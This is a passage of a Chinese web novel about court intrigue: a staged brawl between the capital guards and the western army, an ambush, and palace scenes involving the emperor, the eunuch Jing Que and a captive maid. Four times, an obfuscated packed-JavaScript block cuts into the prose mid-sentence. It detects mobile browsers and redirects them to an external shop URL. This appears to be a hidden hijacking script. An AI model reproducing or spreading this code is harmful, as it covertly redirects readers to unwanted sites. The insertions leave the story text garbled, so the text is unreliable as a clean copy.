北寰言道:“陆少卿不必忧虑,这案子我心里有数。” 听北寰言如此说,陆休就明白了。 看样子北寰言是查出了什么,跟户部侍郎有关系,这才要了这案子改判权。 按照以往北寰言上朝回禀的事情来看,这次恐怕又是官场重新洗牌的前兆。 北寰言在大理寺少卿这一职上,查封了南泽王府,扣押了南泽郡主南雪,端了沁春城开国伯其山的府衙,肃清南境五州的官场。查到了朝廷四品大员工部侍郎池修城、与江南漕运总督府,肃清了陵中四州官场。而今这把火已然烧到了户部。 陆休不敢做声,只能低头做事。 凌信这段时间无事,便继续跟着北寰言。 他在大理寺后院接到了藏息阁的黑鸽,他拿着鸽子进了大理寺,北寰言看见凌信带着藏息阁的消息来了,便立即起身去看那消息。 北寰舞说,西境风华道人的事,她查清楚了,蔚巡生…… 原来如此。 北寰言眸光微敛,用力揉了那张纸,那纸瞬间就变成了齑粉。 * 万寿节陛下宴请文武百官、各国使臣、犒赏三军。后宫萧皇后亦是宴请文武百官妻女。 这日,宫里宫外都热闹非凡。 宫外人潮涌动,烟花爆竹齐鸣。就连最近正在修建的招灵台都挂上了红绸,以示喜庆。 未时末,合宫夜宴开始,众人陆续入席。 北寰言跟随文武百官坐在前殿,蔚巡生与姚子安一起坐在武官阵营。 宴席刚开始没多久,就有一个小内官一路疾走进来,到景雀耳边说了几句。景雀蹙眉点头表示知道了,趁着许景挚说话的间隙把事禀了上去。 许景挚一听,脸上笑容立即消失,递了一个眼神给景雀。 景雀立即欠身悄悄退了下去,绕到后面席面,找到御林军统领秋薄、禁军统领陈松、副统领石武、以及姚子安。 四人一听禁军与西境军在猴山校场打起来,当即丢下筷子起身飞奔出宴会。 北寰言在对面看着,觉得不对,拉着凌信也离了席。 六匹马如离弦的箭一般穿过喧闹的朱雀大街,冲进如墨的夜。 姚子安跑得最快,他手上鞭子不停,马儿奋力奔跑。 秋薄、陈松、石武紧跟其后,无论怎么加鞭都追不上姚子安。 “这小子骑术了得啊!”石武当即又甩了一鞭。 凌信与北寰言一起,跟在四人后面,凌信追上北寰言,与他并驾齐驱:“发生什么了?” 北寰言道:“不清楚,但是御林军、禁军还有西境军现在都在猴山校场吃席,能让三军长官一起出动,必不是什么小事。” 凌信还想说什么,忽然察觉身边有一股讨厌的气追着他们。 “有杀意。”凌信低声道。 “人多吗?” 北寰言微微侧目,看着凌信。 他一点都不意外有人跟着他们。 万寿节就要结束了,他们再不动手,蔚巡生就要回西境了。 此前他给齐丘的策论,齐丘应该已经代表西境献给了陛下。 有了以朝廷名义恩惠西境百姓的政策,陛下就能确认西境心思,便不会借着锦妃此前埋的棋子强行把蔚巡生留下。 对方也该有所行动了。 凌信认真感受了下气息:“不多,大约十多个人。但要是截杀我们六个,这些人不够看。” “见机行事,”北寰言甩了一鞭子,“今夜还长着呢。” * 北寰言与凌信到校场的时候,校场上一片狼藉。 火堆倒了一片,插在火堆边上的那些肉也被尽数推倒,全部泞在土里。 姚子安抄起一把枪,飞身跃进人群,枪风烈烈,直接把那两个还扭打在一起的人给打散了。 陈松踱步过去问禁军怎么回事。 禁军纷纷指着西境军:“问他们怎么回事!” 西境军见禁军们没被打服,瞬间暴脾气又上来了,指着对面骂:“你们他娘的怎么回事?还问我们?” 姚子安提枪一震,掀起一阵烟尘,西境军瞬间就闭嘴了。 陈松一巴掌打在身边的人后脑勺,骂道:“什么事都没弄清楚,你们打什么?” 姚子安回头看这次带兵来许都,一直跟着他的副将青漠问:“怎么回事?” 青漠低低回道:“我也不知道怎么回事,就是看禁军动手打我们人了,就跟着上了……” 禁军一听就不干了,当即骂道:“妈的,不是你们先动的手?” 青漠冷眼瞧着,不言语。 北寰言听了一阵听明白了,立即上前对陈松、姚子安道:“应该是两边有人挑事,就动手打起来了,最后演变成了互殴。” 陈松立即回身看着黑压压的人群,大吼:“谁他娘的先动的手,给老子滚出来!” 姚子安也回身问西境军:“你们谁先动的手?” 禁军与西境军都不吭声。 陈松看着这帮人有本事打架,没本事承认,气不打一处来,当即拿出军哨,吹了一声长哨。 长哨之后,所有的禁军都列队站好,陈松又吹了三下短哨,禁军们又纷纷三开。 陈松吼道:“禁军,全体俯卧撑,一百个准备——” “一百?!”禁军纷纷惊呼。 陈松又吹了一下:“二百,准备!” 禁军不敢再说话,老老实实爬下做俯卧撑。 秋薄问自己副将江起这到底是怎么回事。 江起也说不知道,只是听见了他们先起了争执,后面才动的手。 陈松巡视禁军,看见伤重的就坐在那人背上问谁动的手。 一个一个盘问下来,最后终于问出点眉目。 西境军这时也有人举手要说明情况。 姚子安走过去,冷冷道:“酒醒了?” 那人蹲在地上说:“小将军不是我动的手,但是我听到了全部对话……” 那人说这事的起因是因为禁军说这些拿来炙烤小羊仔都是出生百天的,许都好东西多得是,陛下也舍得赏赐。只是西境军在边塞,吃不到这些好东西。吃不着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100420|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没关系,许都三军代边关将士领了。后面西境军里有人不屑说禁军打嘴炮,好东西替我们吃,卖命的活我们去干。然后两边就打起来了。 姚子安听得直冒火,恨不得一脚踹上去,指着这人骂道:“妈的,你们就馋别人吃好东西?” 姚子安一副恨铁不成钢的样子怒道:“老子把你们都留在这里吃香的喝辣的,你们别跟老子回西境了!” 那人猛然抬头喊道:“小将军别以为我们不知道!现在我们根本就回不去!朝堂之上有人参我们将军王爷与西域合谋!” 北寰言闻言,瞳孔微缩,看向这人,目光阴沉。 姚子安上前一步,揪起这人衣领怒道:“谁给你说的?” 那人眼眸微红:“这还用别人说?西境军里早就传得人尽皆知了!” 姚子安深吸一口气,按住心里那蠢蠢欲动想杀人的心思找到陈松,问,“御史台参西境的事,西境军怎么会知道?” 陈松也是一愣,当即看向石武。 石武连忙解释:“我交代过了,禁军没人敢往外传!” 北寰言敛了目光,走向姚子安:“子安,你别着急。陈将军与石将军治军严明,这是动摇军心的话,他们知道轻重不会乱说。” 姚子安怒气攻心,说话尖锐:“你们都是朝官,自然是向着自己人!” 凌信走过来拉了一下姚子安,压低声音道:“冷静点,别这么说话。” 姚子安给凌信一个面子,敛了怒意:“这事,你们必须给我一个交代!” 北寰言道:“我来查。” 北寰言等着就是这招。 对方已经等不了了,竟然就这样明目张胆地挑唆西境军与禁军。 临时出招,必然会漏出尾巴。 “查什么查?!你们只想把世子与小将军扣在许都!” 那人话音刚落,凌信就原地消失,转眼间到了那人身后提起一掌就要拍下。 两人扭打在一起,一时之间难分高下。 北寰言冷眼看着那人招数,脚下有步法,手上有起势…… 这人招式很是眼熟,像是沁春城里跟着他们的那些暗哨。 那人根本不是凌信对手,从沁春城回来,凌信习武格外认真,这一年他功夫突飞猛进。凌信还没有拔剑,就把那人打得无法还手。 那人也是个聪明的,知道继续纠缠下去他必会被凌信抓住,当即俯身滑了出去,抄起弓箭“嗖”的一声射向凌信。 与此同时,校场周围阴影处又同时射出十几根箭矢射向北寰言。 北寰言看着那些闪光向他射来,心中冷冷一哂:原来那些人跟着他们而来,是为了掩护这个挑事的人撤退。 凌信反应极快,一个折返,在空中连斩十五剑,织出一个密不透风的剑网,把箭矢全部斩落在地。 凌信还想追,北寰言一把把他拉住,摇头示意不要追了。 凌信瞬间就想起那些追着他们出城的杀意。 对方是有备而来。 北寰言转身看向姚子安:“这下信我了罢?” 姚子安再蠢也知道这事是有心之人挑拨:“你想怎么查?” 226. 手段 “我自有我的法子,”北寰言转过话头,“今夜这事还没结束,我们要尽快回去。这明显是有人不想你们这么简单的离开许都。子安,你要跟我们一块回去,让你的副将速速点清你们带来的人,看看有没有少什么东西,或者少人。” 姚子安看向青漠:“你点人查东西,在这里等我消息。” 青漠心有余悸问了一句:“主子能回来吗?” 很显然,御史台参西境军这事让这些跟着姚子安与蔚巡生来许都西境军不再信任朝廷。 姚子安看了一眼北寰言与凌信,沉默许久才回头对青漠道:“你把你该做的事情做好,带着兄弟们在这里等我。” 说罢姚子安便把枪丢给青漠,头也不回地上了马。 * 回到合宫夜宴,姚子安在蔚巡生身边坐下,倒了一杯酒,一饮而尽。 蔚巡生虽然没跟着去,可他把这事猜了八九不离十。 北寰言安抚了陛下才回到位置上,心中暗潮汹涌,难以安抚。 对方终于出手了。 之前蔚巡生与齐丘一起去宫里贺寿,把他带到西境的那篇策论献给了陛下当做生辰礼,陛下原本很是满意西境态度,也没打算为难蔚巡生。 那人看出了陛下的意图,为了不让自己的大计在这里功亏一篑,才又临时起意,设计了这一局。 为的就是让蔚巡生没办法按照预定的归期回去。 不在预料之中的落子只要出现,就会慢慢改变棋局上的局势。 在这局棋对弈上,北寰言第一次占据了主动,抓到了对面一点点蛛丝马迹。 他要利用这件事,好好做一手棋。 北寰言让身边内官去跟景雀带话,说是一会儿晚宴结束,他有事找景内官帮忙。 景雀听了小内官回禀,朝着北寰言坐的地方点头。 许景挚今日整个一天都没听见景雀哄他,心绪难宁。 现下又发生了西境军暴动的事,心里更是不舒服。 许景挚耐着性子等晚宴结束,便回了承恩殿。 景雀垂眸跟着进了承恩殿,却是直接引着许景挚去了浴池,帮他宽衣。 景雀做事轻手轻脚,却再也不似以前那般与许景挚闲聊了。 许景挚看景雀已经沉默一日了,不耐烦地捏住他正在解衣绳的手:“好大的胆子,敢与爷置气。” 景雀没看他,低低地回了句:“奴不敢。” “呵,”许景挚看他这样,气笑了,“你这还叫不敢?今日你可有看过爷一眼?” 景雀还是低着头,回道:“天子威严,岂是奴等卑贱之躯可以觊觎……” 许景挚见不惯他这种阴阳怪气的样子,当即就把景雀下颚捏住,强行抬起他的头,让他看着自己:“我怎么瞧着你还是有气的样子!?” 景雀不答。 许景挚自降身份,用“我”跟他说话,那便是还记着在浅邸当王爷的情分。 景雀任由许景挚捏着下巴,至死不愿意再说一句。 许景挚哪里见过这样的倔强的景雀。 在他眼里,景雀一直都是一个柔软的男子。 性子软,身子也软。 可他却因为他一句重话,跟他一直置气。 “我昨日的话,说重了?”许景挚放轻了声音,睨着景雀。 “奴伺候陛下沐浴罢……” 景雀不想说这事,挣开许景挚的手,要进净房。 许景挚一把拉住景雀,低声道:“我就是看你一心向着安王府,心里不舒服。明明……我才是你以后的依靠。” 许景挚话里话外都带着委屈,一敛他平日里当帝王那种不可亵渎的威严。 他像是一个孩子,固执地想要把属于自己的东西,抓在手里。 景雀垂眸,站了许久,才缓缓回道:“我这条命是安王妃救的,我在后宫立足的本钱也是她给的。安王府与我是救命之恩,我不想做一个薄情寡恩的人。” 景雀眼眸里泛着微光:“我没孩子,以后也不可能有自己的孩子。我喜欢郡主,也喜欢言少卿,我想把他们当成自己的孩子。所以我见不得他们俩受到一点委屈……” 景雀说这话的时候,声音淡然。 自从他在梨园被盛泉弄坏身子开始,他就失去了一个男子的尊严。 这是许景挚哪怕身为帝王拥有至高无上的权力也无可奈何的事。 许景挚登基以后富有天下,景雀从未跟他要求过什么,也从未僭越过什么事。 唯独那两个他看着长大的孩子,喊他景叔的孩子,他放不下。 景雀缓缓回过身,看向许景挚:“我把陛下放在心里,我可以为陛下去死。若是陛下厌倦我了,根本不需要直说,一个眼神就能把我杀了。” 景雀抬手捂住自己的心口,仿佛那里有什么东西,正在缓缓撕裂:“昨日陛下生气了,我便不敢再多话。我怕触及到郡主婚事,我还是会像昨晚那般,控制不住自己的心思,妄言朝堂之事,惹陛下不高兴……” “别气了。”许景挚缓缓靠近景雀,把他揽入怀里,贴着他的耳畔,只用他俩能听见的声音,说道,“我错了,是我不好。没顾及你的心思。” 景雀听闻,泪眼婆娑。 这人当了十七年的帝君,俾睨天下,竟然还会以这种低的姿态跟他认错。 许景挚看景雀跟他置气,便连这些年养起来的孤傲也不要了。 景雀连忙后退一步跪下:“陛下是九五之尊,怎么会错?是奴不知好歹,仗着陛下的宠爱得寸进尺。” 他不要许景挚认错。 许景挚是天子,即便错了,也要万物服从。 他不要许景挚为了他底头认错变成凡人。他爱慕的人,不能这样沾染了凡尘。 他要许景挚踩着他,永远都做那个高高在上的王。 许景挚看得懂景雀的动作。 他若是跪下了,那便是心悦诚服。 “沐浴去罢。” 许景挚拉起景雀,往浴池去。 许景挚坐在池子里闭目养神,景雀跪坐在池边,替许景挚揉着鬓角。 许景挚道:“这几日你辛苦了,你也下来一起泡澡。” 景雀笑了:“奴一会儿还要去给言少卿回话,伺候陛下歇息,还要出门。” “几更了?”许景挚问。 景雀回道:“快过二更了。” “你早去早回,让其他人来伺候罢。”许景挚催促。 景雀颔首一笑,便退下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116582|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 北寰言在承恩殿院子里站着等,景雀出来便立即过去问北寰言要不要换个地方说话。 北寰言摇头道:“这事没什么见不得人,有件事需要景大监帮我查一查。” 北寰言凑身过去,伏在景雀耳边嘀咕了几句。 景雀应下道:“言少卿请回罢,明日午正前,我给言少卿消息。” 北寰言欠身一礼:“有劳了。” * 皇城外蔚巡生与姚子安还没走,一直等着北寰言从宫里出来。 北寰言没想到他俩没走,踱步过去问:“有事?” “等你一起啊。”蔚巡生笑得轻佻。 这人贯是这幅无赖样,一旦给一点颜色就能开染坊。 北寰言没理他,一言不发上了马车。 马车动起来,蔚巡生才问:“你准备从那入手?” 北寰言不答反问:“西境军那边查验什么时候结束?” 姚子安想了想,回道:“最快明日一早。” 北寰言闻言便不再说话,靠在车壁上闭目养神。 蔚巡生在临府待了有一段时间了,知道北寰言是什么性格,在事情没有完全查清楚之前,他不会轻易跟其他人透露细节。 北寰言做事小心谨慎的态度,着实让蔚巡生惊叹。 回到临府,北寰言先一步下车,留蔚巡生与姚子安在后面面面相觑。 他回到蔚兮堂,看见北寰舞已经在院子里等他了。 北寰舞看见北寰言回来,扬了扬下巴,示意北寰言跟她去后面药庐说话。 这话要避开蔚巡生与姚子安。 北寰言点头,跟着北寰舞往后院走。 路上北寰舞低声道:“今日合宫夜宴,锦妃找了个由头见了世子妃。八成是去认女儿了。” 北寰言道:“前面也出了事,有人故意在西境军里挑事,把御史台参勤王府与西域合谋的事传得西境军皆知。方才西境军与禁军在校场上打了一架。” 两人一对消息,立即就捋出了头绪。 北寰舞沉思片刻说道:“后宫的事是早有预谋,校场的事是临时起意。” “嗯。”北寰言道,“我已经让景叔帮我去查兵部库房了。” “哥,”北寰舞蹙眉停住脚步,回眸看向北寰言,道,“有件事,我觉得还是应该跟你说。” 北寰言也停下脚步看向北寰舞,等她说话。 北寰舞道:“宫里传出来的消息,说陛下与景叔因为我的婚事起了争执……这次事你托景叔帮你查西境军的事,是否欠斟酌?” 北寰言瞬间就明白北寰舞想说什么——陛下不希望自己喜欢的人心向安王府。 以前陛下不在意,不代表陛下一直都不在意。 太傅总说陛下是他教过天资最好的帝王,北寰言在许都这么多年也看见了许景挚的手段与野心。 许景挚重用安王府的势力整顿吏治,是他的手段。想要北寰舞去乌族和亲是吞并乌族的野心。 现在有人设局,桩桩件件都指向安王府,许景挚面上不说,可心底的某一处已经被这些接二连三的事情砸出了一个裂纹。 这个裂纹如同冰川一般,只要开裂,就一定会一直裂下去,直至跌落深渊。 227. 裂痕 上次他们盯丢了一批数量巨大的硝石,陛下就一个月没有召见北寰言。 这次景雀想要同陛下商量北寰舞的婚事就被斥责。 可见安王府现在已经变成了陛下心底那一丝不易察觉的裂缝。 只要稍有触碰,就会有裂开的声响。 “明日万寿节后休沐,六部里都没人。这事我只能找景叔帮忙。”北寰言蹙眉,“陛下与景叔感情深厚,不会因为这一件事就骤然翻脸。” 北寰舞道:“我总感觉对方在这个时间点挑唆西境军闹事,想要的可不止勤王府,还想要景叔的位置呢……” 北寰言点头:“这事是我欠考虑了。” “我方才去看了一眼世子妃,”北寰舞道,“她的状态很不好,从宫里出来就开始发热。小芷说是心绪不宁引起的。看来锦妃跟她说了她的身世,对她打击很大。” 北寰言道:“这是必然的。锦妃的女儿这个身份是一把刀,可以用来杀世子妃,也可以用来杀西境勤王府。” “杀……西境勤王府……”北寰舞斟酌了北寰言这话里话外的意思,似乎品出点别的什么,灿然一笑,“那西境勤王府的事,就不需要我们替他们操心了吧?蔚巡生那人,主意大得很。眼下最重要的还是看住许都里这些人的动向。” 北寰言道:“对方还有一颗棋子没用,事情不会这么简单就结束,我们要早做准备。醉云楼的账簿……” 北寰舞当即摆头:“我不同意!” “小舞!”北寰言沉下声。 北寰舞才不管他:“黑市在许都最大的销金窟,藏息阁在许都最大的消息网,你说折就折,那后面养着上百人怎么办?” “你……” 北寰言还没说完,北寰舞转身就走,根本不想听北寰言在她耳边啰嗦。 北寰舞恨恨地回头剜了北寰言一眼——想要从醉云楼里翻秦谷的账,休想! 北寰言知道北寰舞是心疼那些在醉云楼栖身的人,可只有拿到醉云楼的账,才能让户部侍郎哑口无言。 北寰言毕竟不是黑市主子,这事北寰舞不同意,他也别无他法,只能无奈地折身回自己院子。 * 次日用早膳的时候,膳厅里只有三个人——蔚巡生,凌信,北寰言。 蔚巡生来了以后临府膳厅用饭一直都很热闹,不是姚子安跟蔚巡生斗嘴,就是凌信看着凌芷吃饭。 现在吃饭人这么少这么安静,北寰言有点不习惯。 他难得用饭的时候找话问蔚巡生:“校场那边查的怎么样了?” 蔚巡生跟看见什么稀罕物一样,仰身挑眉,似笑非笑地回他一句:“食不言,寝不语。” 北寰言当真觉得自己多余问这一嘴,便不再说话。 蔚巡生哪知道北寰言这么不禁逗,连忙收了调戏的心思,一本正经地说:“眼下我们也出不去,你不是手眼通天吗?怎么派一个人去问问西境军这事你做不了主?” 北寰言看了一眼凌信。 凌信立即会意,快速扒完碗里的饭起身出去了。 膳厅里就剩下蔚巡生与北寰言两个人,蔚巡生往北寰言身边凑了凑,小声道:“言少卿,现在你手上有不少线索吧?不如我们交换下,互通有无?” 北寰言睨了他一眼,淡然道:“有价值的消息,才叫交换。你如今被困在许都,临府都不出去,你有什么消息要与我说?” 蔚巡生眼眸微眯:“有关于风华道人的事……” “那事我们已经查清楚了。”北寰言根本就不给蔚巡生交换的机会。 “……” 蔚巡生无语,好像这世上什么事都尽在北寰言的掌握之中。 既然他知道风华道人的事,那是不是说明北寰言已经洞悉了整个西境现在局势? 他不多话,看样子是想让他们自己解决。 凌信只是出去一会儿就带回西境军的消息,西境军说他们那边没少人也没少东西。 北寰言听了垂眸不语,这跟他心里想的一样。 蔚巡生闻言道:“西境军里绝对不可能出叛徒的,那三千人都是我父亲跟舅父再三斟酌审过的。各个家世清白。” “这我信。” 北寰言从一开始就知道这三千西境军不可能有叛徒,所以他才连夜进宫,要景雀在六部休沐的时候帮他一个忙。 用完早膳,景雀的消息还没来。 北寰言便去后院空地练剑。 姚子安与蔚巡生很是好奇,北寰言这人看上去身子单薄,到底要如何练安王殿下的月芒剑。 跟着去了以后他俩才看见,北寰言练得不是注重力道月芒剑,而是更注重身法与步伐的飘渺剑。 北寰言舞剑真好看,一招一式都宛若婷松,立而不直,伸展自有风姿。 他就像是矗立在云雾里的山,云纱环绕,看不清真面目。 姚子安对北寰言手中的剑很感兴趣。 那把从腰间抽出来的软剑工艺之巧妙,不像是东陵工匠能锻出来的东西,倒像是西域那边某些擅长机械之力的能工巧匠做出来的奇巧物件。 “公子。”外院小厮跑进来报信,“宫里来人了。” 北寰言立即收了招,擦了额头上的汗,出去迎人。 来人是景雀,陛下身边的红人。 蔚巡生没想到北寰言的面子如此大,能调用景雀这样的人。 * 景雀回完话,便马不停蹄地赶回宫里。 这几日许景挚应酬各国使臣累得一直想罢工,好不容易休沐一日,睡醒了也赖在床上不肯起。 景雀伺候在侧多年,知道许景挚什么品性,只要朝臣不上朝他也不会那么勤奋。 景雀想着许景挚应该还没起,便不着急回承恩殿,转身去了承恩殿不远的一处院落。 这院子简朴,什么花草都没有,只有一间屋子立在正中,院子外面有御林军把守。 景雀缓步进入院子,进到屋里,打开屋里的机关,重重灰尘之下,一面墙壁上竟然开启了一道暗门。 他缓缓走到那暗门,往下凝望,长长的甬道尽头是无边的黑暗。 景雀不疾不徐一步步往下走,甬道里回响着他的脚步声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128011|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗深处传来一些声响,景雀唇角微扬,继续缓步往下。 走出甬道的那一瞬间,左侧有劲风袭来,他早有防备抬手去挡,一掌便拍掉了那人手中的烛盏。 烛盏滚落在地,撞到了墙边才停下来。 景雀侧目去看那偷袭他的人,淡然笑道:“看样子是无碍了。” 岚雨一招没有得手,便不管不顾地往后面的阴影里缩。 她见过景雀阴狠的一面,看见景雀笑,她全身都在发抖。 景雀踱开两步,弯腰把那烛台捡起来放在桌上,顺便从衣袖里掏出两个瓶子放在桌上:“白色瓶子是外敷,蓝色瓶子是内服。想活下去,就该把身上的伤养好。” 岚雨颤声问:“为什么?” 景雀看向蜷缩在角落的女子,没有立即回话。 暗室顶端的天窗漏下几缕光,夹杂着光里那些尘埃一起打在景雀的脸上,把他衬得干净。 “那日,你主子在后院见锦海的事,我早就知晓。”景雀道,“我是特地去偷听的。撞见你是意外,只要你闭口不言,我便不会伤你。岚雨,你在宫里十六载,难道不知道以我现在的御前盛宠,想要什么都唾手可得吗?我问锦妃要你,她就必须给。” 岚雨咬着唇,一动不动。 景雀撩起衣摆,找了个椅子坐下,缓声道:“锦妃与她身边的内官如福苟且多年,在锦妃面前,还是如福更得宠。你这个十五岁就跟着锦妃进宫的贴身婢女,在锦妃眼里也不过就是一个可以随便丢弃的物件而已。她自私,想你知道她太多的秘密,便要把你留在身边,哪怕你已经年过三十了也不肯放你出宫,要你在宫里蹉跎一辈子。” 景雀这话触动了岚雨内心深处那无法为外人所道的苦楚,她忍不住潸然泪下。 景雀手指轻敲着桌子,低沉地木质声,在空旷的地牢里回响:“在宫里的日子不好过吧?虽然不缺吃穿,可却一直提心吊胆,没有一夜可以安睡。” “别说了……” 岚雨受不起这样的摧残,景雀每多说一句,都是在她的心窝捅刀子。 “我若帮你从锦妃手上,把你的家人救出来,你会如何回报我?” 景雀望着岚雨,岚雨哭骤停。 “你真的能帮我把家人从锦家救出来?!”岚雨睁大了眼睛,若是景雀说可以,那就一定可以。 她爬过去,伏在景雀脚下:“我能替大监做任何事,只要大监需要!” “脱一个。”景雀睨着跪在她脚下的岚雨,“做事总要表个忠心不是?” 岚雨下意识地握紧自己的衣襟。 可沉默了几息之后,她便不再犹豫,颤颤微微地把衣衫一件件褪去。 等到她把肚兜也脱了,才敢抬头去看景雀。 谁知这人已经不在了,甬道里传来他的声音:“记得用药,好好一张脸,毁了就不好嫁人了。” 岚雨愣了好久。 她不知道那日见到的罗刹是景雀真实的样子还是今日这温暖如玉一般的公子才是他真实的样子。 这宫里,竟然还有这样的人。 228. 朝堂 景雀回承恩殿的时候,许景挚已经起来靠在床榻沿上闭目养神。 听见动静睁开眼,看见景雀从外面回来穿着常服就知道他出去了。 “早上去哪玩了?”许景挚问。 景雀去净房换衣裳回道:“去临府跟言少卿说昨日他托我查的事。” 景雀换了内官衣服从净房里出来,招了内官进来,伺候许景挚洗漱。 “查出什么了?”许景挚问。 景雀起身,凑在许景挚耳边轻轻咬了下,回了话。 “知道是谁干的吗?”许景挚问。 景雀摇头:“还不清楚,若是要追查下去还需要几日时间。但奴手上还有别的路径可以查出这事到底是谁干的。” 许景挚伸手让景雀给他穿衣,只是这会儿功夫他就想明白了:“岚雨?” 景雀应了一声,帮许景挚把衣裳穿好:“奴想跟陛下请个赏。” 许景挚起身走到铜镜前面坐下:“你我之间用不到赏,你是替别人求的?” 景雀跟过来拿起木梳给许景挚梳头:“奴想着若是岚雨这次懂事,不如就放她出宫去罢……” 许景挚闻言转身盯着景雀看了好一会儿,才拉住景雀的手腕,把他带到自己面前,让他坐在身前桌上,狠狠地问:“你是心软,还是心疼?!” 景雀的手腕被许景挚捏得生疼,这人若是发起疯来,什么人的醋都吃。 “不是谁都跟奴一般,有这样的运气遇见陛下这样的主子,还有安王妃那般的恩人。”景雀垂眸,眸光潋滟,“入宫的时候她没得选,现在我想让她自己选一次。” 这话听在许景挚的耳朵里不是在说岚雨,是景雀在自叹。 当年他入梨园,以色示人,非他所愿。 现在他想做这个好人,让岚雨也自己选一回。 “当年的事,是孤无能。”许景挚把景雀拉入怀里,让他坐在自己腿上,“如今的事,你不能如此心软,容易留下祸患。” “奴知道……”景雀低声道,“若真是麻烦,奴自会处理。” 许景挚见不得景雀这副如同花蕾一般衰败了的模样。 若是没有“朝东门”事件,景雀也应该是一个驰骋沙场的大将军。 这朱墙困住了他许景挚的一生,他在这脏污的世界里已经洗不干净。可景雀还想挣扎,让自己不那么脏。 “今日你去忙你的,让他们来罢。” 许景挚这是恩准了景雀方才请的赏。 景雀站起身,恭恭敬敬地退到一边,跪下磕头谢恩。 休沐这一日,所有人都过得心事重重。 因为他们知道,明日只要上朝便会有大事发生。 * 北寰言起了个大早,他先是坐在书桌前盯着昨夜整理出来的思路一条一条过下去,捋顺今日上朝要说的话,才起身去膳厅用饭。 姚子安从后院晨练回来才去膳厅用饭。 看见北寰言已经用完饭从膳厅出来,身着官服准备上朝。 姚子安虽然不爽有人把御史台参西境的事透给西境军,但他这些时日老老实实待在临府才知道蔚巡生说得没错,北寰言一直在努力帮他们洗脱嫌疑。 北寰言那日承诺要查西境军案子以后,便一直奔波查案。 姚子安的屋子住在北寰言边上,他晚上从后院晚练回来,会习惯性地把身子上下都擦拭一遍。每次擦拭完身子已经过了戌时,可隔壁北寰言屋里一直亮着。 姚子安原本不信北寰言。 他觉得他们这些许都的朝官穿的是同一条裤子。所以他对蔚巡生一直缠着北寰言这一举措非常不解。 但他在临府住的这段时间,经历了许多事才明白眼下这种境况——北寰言没有落井下石,赶他们出临府跟他们撇清关系,需要多么大的勇气与魄力。 姚子安路过北寰言的时候,虽然头侧在另一边没有看北寰言,手上却抱拳对他一礼,低声道:“这段时间,辛苦言少卿了。” 凌信在一边看着,觉得的姚子安这种不坦诚的样有趣得很,忍不住笑。 北寰言微微颔首,便出门了。 * 大殿之前,众臣列队等着上朝。 北寰言缓缓走到自己位置上站定。 汤邢看见北寰言来先打招呼:“来了。” 北寰言欠身一礼:“大人。” 汤邢侧身,靠向北寰言:“户部侍郎家丁那案子你改的?” 北寰言颔首:“是。” 汤邢点头表示自己知道了。 这事如果是北寰言插手,那就不归大理寺管了。北寰言做任何事都有自己的目的,这事搞不好又是一个高官落马。 上朝以后,议政殿里还是那副样子。 许景挚近几年帝君当得悠闲,一般他只坐上面听,下面六部回事自己六部长官跟尚书令宋谏一起自己商量着就把事情解决了。 工部说最近因为万寿节各国使节来都贺寿,为保许都道路畅通,地面干净,招灵台修建暂时停工,准备等各国使节走了以后再复工修建。 工部又说江南漕运一事交给纵尚主理,漕运上下游漕工村落恢复井然有序,不少水盗都要已经回了村子,继续当漕工。 工部还说到了秋冬季是修筑河堤的好时候,需要户部拨款。 许景挚看向户部,户部尚书翟淳立即出列跟工部说:“早就准备好了预算,等下朝户部就把批文拿到工部去。” 许景挚满意地点头,目光落在叶温年身上,道:“孤前年跟工部说的许都旧区改造的事,怎么过了这么久了,工部都没拿出一个方案来给孤看?” 叶温年满脸愁容回道:“回禀陛下,这旧区人多屋杂。乱搭乱建的不计其数,只京兆府里就因为这些乱搭乱建的案子堆了几十起没审结。工部也想把这事尽早办了,那些人乱搭乱建,把管沟都给堵了。这几年许都没有大雨,若是下起大雨,恐怕半个许都都要淹了。臣已经着人去一家一家登记,商量拆迁补偿的事宜,奈何旧区人口太多,无论商量还是统计都需要时间。请陛下在宽容一段时日给工部。” 许景挚眼眸微眯,不再言语。 礼部上前说万寿节结束,各国使臣陆续归国。赏赐给各国的回礼,需要陛下过目,说罢便呈上厚厚的一沓礼单交给内官徐迎递了上去。 礼部说到这,许景挚才想起一件事来,问:“漠勒说什么时候回北境了吗?” 礼部回道:“还没有。” 许景挚头疼,万寿节过了,与漠勒和亲的事就不能再拖了。 萧皇后话说得好似很大度,让嫡公主许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 